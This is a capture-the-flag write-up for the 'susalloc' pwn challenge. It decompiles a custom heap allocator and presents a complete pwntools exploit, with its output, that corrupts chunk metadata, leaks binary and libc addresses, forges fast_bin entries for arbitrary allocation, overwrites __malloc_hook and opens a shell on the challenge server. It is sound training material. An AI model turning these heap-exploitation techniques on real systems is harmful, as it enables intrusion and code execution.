[Writeup] susalloc

WriteUp 1个月前 admin
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One AAW to kill them all!
nc hack.backdoor.infoseciitr.in 10004
Asset Links
susalloc.zip

The zip file contains only two files:

$ ls
libc.so.6  main

$ file main
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2f8ac9c08eff09f2b0900cdb7e0aa18a3aeb6299, for GNU/Linux 3.2.0, stripped

$ grep -a "GLIBC " libc.so.6 
DYNAMIC LINKER BUG!!!GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.

Running the main binary shows the following menu:

$ ./main
1. Add item
2. Delete item
3. Edit item
4. Read item
5. Set Value

It appears to be a classic heap challenge menu. Is it though?

Analysis

It is a custom allocator and the binary is stripped so I will be sharing snippets after renaming some symbols according to my understanding from static and dynamic analysis.

Important Deduced Data

Starting off with the deduced chunk structure and some important .bss variables.

Chunk Structure
struct chunk {
    long long prev_size;
    long long next_size;
    long long size;
    long long flag; // 1 inuse, 2 freed
    long long prev_ptr;
    long long next_ptr;
    char data[size - 0x30];
}
Relevant .bss Variables
0x102e0: items_data_ptrs
0x10380: items_count
0x103e8: free_hook // I did not know this one while solving the challenge
0x10400: fast_bins[30]
0x104f0: unsorted_bin
0x10500: heap_ptr

Main Functionalities

Moving on, there are 7 important functions to check:

  • sub_4e14: add_item function responsible for allocating chunks.
  • sub_52a6: delete_item function responsible for freeing chunks.
  • sub_25ce: Wrapper function around the add_item function.
  • sub_2746: Wrapper function around the delete_item function.
  • sub_284d: edit_item function.
  • sub_29a5: read_item function.
  • sub_2ae7: set_value function.

Let's start with the auxiliary functions first and work our way into the allocator's logic.

Edit Item Function

The function takes an index as input. If the index is smaller than the items_count, it retrieves the chunk and reads data into it from the user using its size.

unsigned __int64 edit_item() {
    ...
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter index: ");
    std::istream::operator>>(&std::cin, &v2);
    if ( v2 >= items_count ) {
        ...
    }
    getchar();
    v3 = (items_data_ptrs[v2] - 0x30LL);
    if ( v3->flag == 2 )
        puts("Cannot edit deleted items");
    else
        read(0, items_data_ptrs[v2], v3->size - 0x30);
    ...
    }
Read Item Function

The function takes an index as input. If the index is smaller than the items_count, it prints the chunk data using puts.

unsigned __int64 read_item() {
    ...
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter index: ");
    std::istream::operator>>(&std::cin, &v2);
    if ( v2 >= items_count ) {
        ...
    }
    v3 = (items_data_ptrs[v2] - 0x30LL);
    if ( v3->flag == 2 )
        puts("Cannot read deleted item");
    else
        puts(items_data_ptrs[v2]);
      ...
}
Set Value Function

The function takes an index as input. If the index is smaller than the items_count, it then takes an offset and one byte as the value. The byte value is written to the chunk using the offset provided.

unsigned __int64 set_value() {
    ...
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter index: ");
    std::istream::operator>>(&std::cin, &v3);
    if ( v3 >= items_count ) {
        ...
    }
    // Check if set value was called on this chunk index before
    if ( *sub_3130(&unk_103A0, &items_data_ptrs[v3]) == 1 ) {
        puts("Not allowed");
    } else {
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter offset: ");
        std::istream::operator>>(&std::cin, &v2);
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter value: ");
        std::operator>><char,std::char_traits<char>>(&std::cin, &v1);
        *(v2 + items_data_ptrs[v3]) = v1;
        *sub_3130(&unk_103A0, &items_data_ptrs[v3]) = 1; // set value called for chunk index
    }
    ...
}
The Wrapper Functions
Add Item Wrapper

Calls the add_item function with the size input and handles the items_count and the assignment to items_data_ptrs.

unsigned __int64 add_item_wrapper() {
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter size: ");
    std::istream::operator>>(&std::cin, &v5);
    v6 = add_item(v5);
    if ( v6 ) {
        if ( items_count > 19 ) {
            ...
        }
        v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Created a new item");
        std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
        v2 = items_count++;
        items_data_ptrs[v2] = v6;
    }
    ...
}
Delete Item Wrapper

Takes the index as input and calls the delete_item function with the chunk data pointer as argument.

unsigned __int64 delete_item_wrapper() {
    ...
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter index: ");
    std::istream::operator>>(&std::cin, &v2);
    if ( v2 >= items_count ) {
        ...
    }
    delete_item(items_data_ptrs[v2]);
    ...
}

Here comes the main logic of the challenge.

Add Item Function
char *__fastcall add_item(size_t a1) {
    ...
    // Set the appropriate size for chunk data and metadata in v8
    if ( (a1 & 0xF) != 0 )
        v8 = 0x10 * ((a1 >> 4) + 4);
    else
        v8 = a1 + 0x30;
    ...
    /* 
    Gets the fast_bin index for the calculated size
    If a fast_bin entry exist it will iterate through
    the linked list to get the last chunk.
    */
    v6 = (v8 - 0x40) >> 4; 
    if ( v6 <= 29 && fast_bins[v6] ) {
        v10 = fast_bins[v6];
        v11 = v10;
        v12 = 0LL;
        if ( v10->next_ptr ) {
            while ( v11->next_ptr ) {
                v10 = v11;
                v11 = v11->next_ptr;
            }
            v10->next_ptr = 0LL;
            v12 = v10;
        } else {
            v12 = v10;
            fast_bins[v6] = 0LL;
        }
        v9 = v12;
    } else {
        /*
        If an unsorted_bin entry exist it will iterate through 
        the linked list to find a chunk of the same size.
        */
        v14 = &unsorted_bin;
        v13 = 0LL;
        if ( unsorted_bin )
            v13 = sub_4DCC(v8, *v14); // 
        if ( v13 ) {
            v15 = v13->next_ptr;
            v16 = v13->prev_ptr;
            sub_4D7E(v16, v13, v15);
            v9 = v13;
        } else {
            // Normal allocation algorithm
            v1 = *sub_5A46(qword_10500, dword_10018);
            v9 = (v1 + *(sub_5A46(qword_10500, dword_10018) + 8));
            v2 = sub_5A46(qword_10500, dword_10018);
            *(v2 + 8) += v8;
            v7 = v9;
            v9->flag = 1LL;
            sub_4C67(v7, v8);
            v3 = sub_5A46(qword_10500, dword_10018);
            v4 = sub_5A6A(&unk_10520, v3);
            sub_5C48(v4, &v7);
        }
    }
    // Clearing the data of new allocations
    v9->flag = 1LL;
    memset(&v9->data, 0, a1);
    return &v9->data;
}
Delete Item Function
unsigned __int64 __fastcall delete_item(__int64 a1) {
    ...
    /*
    - Store the chunk ptr in v6
    - Change chunk->flag to 2
    - Store chunk size in v7
     */
    v6 = (a1 - 0x30);
    *(a1 - 0x30 + 0x18) = 2LL;
    v7 = v6->size;
    // Checks if free_hook is set to call it
    if ( free_hook )
        call_hook(free_hook, v6);
    /*
    if chunk->size > 0x200 it goes into the unsorted bin
    after checking that it is not already in the list (double free)
    */
    if ( v7 > 0x200 ) {
        v8 = &unsorted_bin;
        if ( unsorted_bin ) {
            for ( i = *v8; i; i = i->next_ptr ) {
                if ( i == v6 ) {
                ...
                }
            }
            sub_51DC(v6->size, *v8, v6);
        } else {
            v6->prev_ptr = v8;
            *v8 = v6;
        }
    } else {
        /* 
        Otherwise it goes to the respective index in fast_bins
        also after checking for double free.
        */
        v3 = (v7 - 0x40) >> 4;
        if ( fast_bins[v3] ) {
            for ( j = fast_bins[v3]; j; j = j->next_ptr ) {
                if ( j == v6 ) {
                ...
                }
            }
            v6->next_ptr = fast_bins[v3];
            fast_bins[v3] = v6;
        } else {
            fast_bins[v3] = v6;
        }
    }
    ...
}

Exploitation

As a start, the following helper functions will be used:

def malloc(size):
    io.sendlineafter(b"Value\n", b"1")
    io.sendlineafter(b": ", str(size).encode())
    assert io.recvline() == b"Created a new item\n"

def free(idx):
    io.sendlineafter(b"Value\n", b"2")
    io.sendlineafter(b": ", str(idx).encode())
    out = io.recvline()
    assert b"Invalid index" not in out
    assert b"Double" not in out

def update(idx, data):
    io.sendlineafter(b"Value\n", b"3")
    io.sendlineafter(b": ", str(idx).encode())
    io.send(data)

def read(idx):
    io.sendlineafter(b"Value\n", b"4")
    io.sendlineafter(b": ", str(idx).encode())
    return io.recvuntil(b"\n1.")[:-3]

def set_value(idx, off, val):
    io.sendlineafter(b"Value\n", b"5")
    io.sendlineafter(b": ", str(idx).encode())
    io.sendlineafter(b": ", str(off).encode())
    io.sendlineafter(b": ", p8(val))

The first step is to utilize the custom unsorted_bin to leak a binary address.

malloc(0x10) # 0
malloc(0x200) # 1

free(1)

set_value(0, -32, 0xf0)
padding = b"A" * (48 - 1) + b"|"
update(0, padding)

binary_leak = u64(read(0).split(b"|")[1].ljust(8, b"\0"))
exe.address = binary_leak - 0x104f0
log.info(f"binary @ {hex(exe.address)}")

Next up is to create an exploitation primitive to allow the allocation of arbitrary addresses. This can be done by abusing the custom fast_bin algorithm. The target to create this exploitation primitive will be the fast_bin itself (it would have been easier if the target was tems_data_ptrs instead but I didn't think of it at the time)

malloc(0x10) # 2
malloc(0x10) # 3
malloc(0x10) # 4
free(4)
free(3)

set_value(2, -32, 0xf0)
forged_chunk = b"A" * 16
forged_chunk += p64(0xf0) + p64(0x40)
forged_chunk += p64(0x40) + p64(0x2)
forged_chunk += p64(0x0) + p64(exe.address + 0x10400 - 0x20) # fast_bins - 0x20
update(2, forged_chunk)

# Now we need to have a next_ptr for the chunk *(fast_bins - 0x20) which is (fast_bins + 0x8) the offset for the freed chunks of size 0x20
malloc(0x20) # 5
free(5)

malloc(0x10) # items_data_ptrs[6] = fast_bins[2]
set_value(6, -32, 0xf0)

To allocate an arbitrary chunk now, it can be done in two steps:

  1. Update index 6 to have the (target address - 0x30).
  2. Allocate a chunk of size 0x30.

A side effect to this method is that 0x30 bytes will be memset to 0 because of how the allocation works.

To leak a libc address, it can be done by targeting cout in the .bss:

# Target address inside cout
update(6, p64(exe.address + 0x100f0))
malloc(0x30)

set_value(7, -32, 0xf0)
update(7, b"A" * 48 + b"B" * 7 + b"|") # add padding

libc_leak = u64(read(7).split(b"|")[1].ljust(8, b"\0"))
libc.address = libc_leak - 0x3edce0
log.info(f"libc @ {hex(libc.address)}")

# Fix cout
update(7, b"\0" * (3*2*8) + p64(exe.address + 0x100c8))

Finally overwrite __malloc_hook with one_gadget address:

# Target address before the hook address to fit the constrains of the primitive
update(6, p64(libc.sym["__malloc_hook"] - 0x30 - 0x20))
malloc(0x30)

set_value(8, -32, 0xf0)
update(8, b"A" * 32 + p64(libc.address + 0xe3b01))

To trigger the hook we call add_item with size greater than 0x10:

io.sendlineafter(b"Value\n", b"1")
io.sendlineafter(b": ", b"20")
io.interactive()

Full Exploit

from pwn import *

exe = context.binary = ELF('./main')
libc = ELF('./libc.so.6')

host = args.HOST or 'hack.backdoor.infoseciitr.in'
port = int(args.PORT or 10004)

def malloc(size):
    io.sendlineafter(b"Value\n", b"1")
    io.sendlineafter(b": ", str(size).encode())
    assert io.recvline() == b"Created a new item\n"

def free(idx):
    io.sendlineafter(b"Value\n", b"2")
    io.sendlineafter(b": ", str(idx).encode())
    out = io.recvline()
    assert b"Invalid index" not in out
    assert b"Double" not in out

def update(idx, data):
    io.sendlineafter(b"Value\n", b"3")
    io.sendlineafter(b": ", str(idx).encode())
    io.send(data)

def read(idx):
    io.sendlineafter(b"Value\n", b"4")
    io.sendlineafter(b": ", str(idx).encode())
    return io.recvuntil(b"\n1.")[:-3]

def set_value(idx, off, val):
    io.sendlineafter(b"Value\n", b"5")
    io.sendlineafter(b": ", str(idx).encode())
    io.sendlineafter(b": ", str(off).encode())
    io.sendlineafter(b": ", p8(val))

io = connect(host, port)

malloc(0x10) # 0
malloc(0x200) # 1

free(1)

set_value(0, -32, 0xf0)
padding = b"A" * (48 - 1) + b"|"
update(0, padding)

binary_leak = u64(read(0).split(b"|")[1].ljust(8, b"\0"))
exe.address = binary_leak - 0x104f0
log.info(f"binary @ {hex(exe.address)}")

malloc(0x10) # 2
malloc(0x10) # 3
malloc(0x10) # 4
free(4)
free(3)

set_value(2, -32, 0xf0)
forged_chunk = b"A" * 16
forged_chunk += p64(0xf0) + p64(0x40)
forged_chunk += p64(0x40) + p64(0x2)
forged_chunk += p64(0x0) + p64(exe.address + 0x10400 - 0x20) # fast_bins - 0x20
update(2, forged_chunk)

# Now we need to have a next_ptr for the chunk *(fast_bins - 0x20) which is (fast_bins + 0x8) the offset for the freed chunks of size 0x20
malloc(0x20) # 5
free(5)

malloc(0x10) # items_data_ptrs[6] = fast_bins[2]
set_value(6, -32, 0xf0)

# Target address inside cout
update(6, p64(exe.address + 0x100f0))
malloc(0x30) # 7

set_value(7, -32, 0xf0)
update(7, b"A" * 48 + b"B" * 7 + b"|") # add padding

libc_leak = u64(read(7).split(b"|")[1].ljust(8, b"\0"))
libc.address = libc_leak - 0x3edce0
log.info(f"libc @ {hex(libc.address)}")

# Fix cout
update(7, b"\0" * (3*2*8) + p64(exe.address + 0x100c8))

# Target address before the hook address to fit the constrains of the primitive
update(6, p64(libc.sym["__malloc_hook"] - 0x30 - 0x20))
malloc(0x30)

set_value(8, -32, 0xf0)
update(8, b"A" * 32 + p64(libc.address + 0xe3b01))

io.sendlineafter(b"Value\n", b"1")
io.sendlineafter(b": ", b"20")
io.interactive()

Exploit Output

$ python3 exploit.py 
[*] '/ctfs/backdoor/pwn/susalloc/main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctfs/backdoor/pwn/susalloc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to hack.backdoor.infoseciitr.in on port 10004: Done
[*] binary @ 0x55de518e0000
[*] libc @ 0x7fbfeaded000
[*] Switching to interactive mode
$ cat flag.txt
flag{sus4ll0c_k1ll3d_by_aaw}

Different Approach

An easier approach would have been to use items_data_ptrs instead of fast_binsfor the exploitation primitive which would have much less constraints to use. Here's how another player solved it using items_data_ptrs.
Futhermore, the intended solution was to use the free_hook at offset 0x103e8 instead of using libc hooks or stack ROP but I didn't notice it while solving the challenge:"D

 

原文始发于wr3nchsr:[Writeup] susalloc

版权声明:admin 发表于 2022年12月24日 上午9:09。
转载请注明:[Writeup] susalloc | CTF导航

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